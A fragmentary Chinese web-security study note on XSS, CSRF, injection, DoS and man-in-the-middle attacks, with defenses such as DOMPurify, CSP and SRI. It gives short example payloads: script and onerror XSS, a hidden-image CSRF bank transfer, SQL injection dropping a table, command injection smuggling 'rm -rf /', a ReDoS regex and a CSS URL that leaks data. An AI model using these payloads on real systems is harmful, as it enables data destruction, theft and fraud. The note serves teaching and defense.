从攻击角度和防御角度看 Web 安全:XSS、CSRF、Injection、Dos、DDos、中间人攻击
Cross-Site Scripting
)Stored XSS
Reflected XSS
host/path/?param=<script>alert('123')</script>
DOM-based XSS
Mutation-based XSS
利用了浏览器渲染 DOM 的特性(独特优化)
不同浏览器,会有区别(按浏览器进行攻击)
例如:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
CSRF( Cross-site request forgery
)
在用户不知情的前提下
利用用户权限(cookie)
构造指定 HTTP 请求,窃取或修改用户敏感信息
例如:
<img style="display:none;" src="https://bank.com/transfer?to=hacker&amount=100"/>
攻击流程:
例如: SELECT XXX FROM ${'any; DROP TABLE table;'}
例如:
const command = covert-cli video -o '${"' && rm -rf /"}'
Denial of Service
)例如:
/^((ab)*)+$/
"abababababababa"
Distributed DoS
)例如: SYN Flood
前提:
危害:
攻击方:
可用工具:
google-closure-library
DOMPurify
注意点:
background: url("https://example.com/?income=gt10k")
窃取用户隐私)安全设置:
Content Security Policy
):确认安全来源的脚本、拒绝 eval
等X-Frame-Options: DENY/SAMEORIGIN
prepared statement
sudo
或者 root
执行命令rm
命令/(ab*)+/
这样的代码HTTP Strict-Transport-Security
):将 HTTP 主动升级到 HTTPS
SubResource Integrity
):对比从 CDN 中拿到的文件 hash 值,例如: <script src="/example/app.js" integrity="sha384-{some-hash-value}" crossorigin= "anonymous"></script>